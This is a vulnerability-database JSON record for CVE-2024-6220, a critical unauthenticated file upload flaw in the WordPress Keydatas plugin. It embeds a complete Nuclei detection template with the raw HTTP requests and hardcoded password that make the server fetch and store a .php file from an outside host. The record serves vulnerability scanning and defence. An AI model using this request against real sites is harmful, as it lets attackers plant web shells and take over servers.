{ "_links": { "capec": { "href": "/api/v1/vulnerability/cve-2024-6220/capec" }, "cvss": { "href": "/api/v1/vulnerability/cve-2024-6220/cvss" }, "cwe": { "href": "/api/v1/vulnerability/cve-2024-6220/cwe" }, "enrichment": { "href": "/api/v1/vulnerability/cve-2024-6220/enrichment" }, "gcve": { "href": "/api/v1/vulnerability/cve-2024-6220/gcve" }, "self": { "href": "/api/v1/vulnerability/cve-2024-6220" }, "sightings": { "href": "/api/v1/sightings/cve-2024-6220" } }, "data": { "nuclei": true, "nuclei_template": "http/cves/2024/CVE-2024-6220.yaml", "nuclei_template_severity": "critical", "nuclei_template_yaml": "id: CVE-2024-6220\n\ninfo:\n name: WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload\n author: hnd3884\n severity: critical\n description: |\n The Keydatas plugin for WordPress (known in Chinese as \"简数采集器\") is vulnerable to unrestricted file uploads due to missing file-type validation in the keydatas_downloadImages function in all versions up to and including 2.5.2. An unauthenticated attacker can upload arbitrary files to the server — potentially leading to remote code execution, site takeover, or other severe compromise.\n impact: |\n Unauthenticated attackers can upload arbitrary files including PHP web shells through the keydatas_downloadImages function, achieving remote code execution and complete site compromise.\n remediation: |\n Update Keydatas plugin to version 2.5.3 or later to address the arbitrary file upload vulnerability.\n reference:\n - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/keydatas/keydatas-252-unauthenticated-arbitrary-file-upload\n - https://github.com/advisories/GHSA-29rm-j4cx-hmc5\n - https://nvd.nist.gov/vuln/detail/CVE-2024-6220\n classification:\n cve-id: CVE-2024-6220\n epss-score: 0.35463\n epss-percentile: 0.98398\n cwe-id: CWE-434\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cpe: cpe:2.3:a:keydatas:keydatas:*:*:*:*:*:wordpress:*:*\n metadata:\n verified: true\n max-request: 2\n vendor: keydatas\n product: wordpress\n tags: cve,cve2024,wp,wp-plugin,wordpress,keydatas,file-upload,rce,vkev,vuln\n\nvariables:\n filename: \"{{rand_base(5)}}.php\"\n oast_url: \"{{interactsh-url}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n - raw:\n - |\n POST /?__kds_flag=post HTTP/1.1\n Host: {{Hostname}}\n Content-Type: application/x-www-form-urlencoded\n\n kds_password=keydatas.com&post_title=1&__kds_docImgs=http://{{oast_url}}/{{filename}}&__kds_download_imgs_flag=true\n\n matchers:\n - type: dsl\n dsl:\n - \"status_code == 200\"\n - 'contains(body, \"{\\\"rs\\\":1\")'\n condition: and\n internal: true\n\n extractors:\n - type: regex\n part: http_1_request\n name: folder\n group: 1\n regex:\n - '__kds_docImgs=http://([^&]+?\\.php)'\n internal: true\n\n - raw:\n - |\n GET /wp-content/uploads/{{folder}} HTTP/1.1\n Host: {{Hostname}}\n\n matchers-condition: and\n matchers:\n - type: word\n part: interactsh_protocol\n words:\n - \"dns\"\n\n - type: word\n part: body\n words:\n - \"\"\n\n - type: status\n status:\n - 200\n# digest: 490a0046304402207f1da7d19178cdbbd15091c91479737ba397c99d02406c1830279eefe59ca3bf02205161e8d025ca9808a17abb75d6d0bb66eb7a1063f50f914372911fc4406cc318:922c64590222798bb761d5b6d8e72950" }, "source": "nuclei", "vuln_id": "cve-2024-6220" }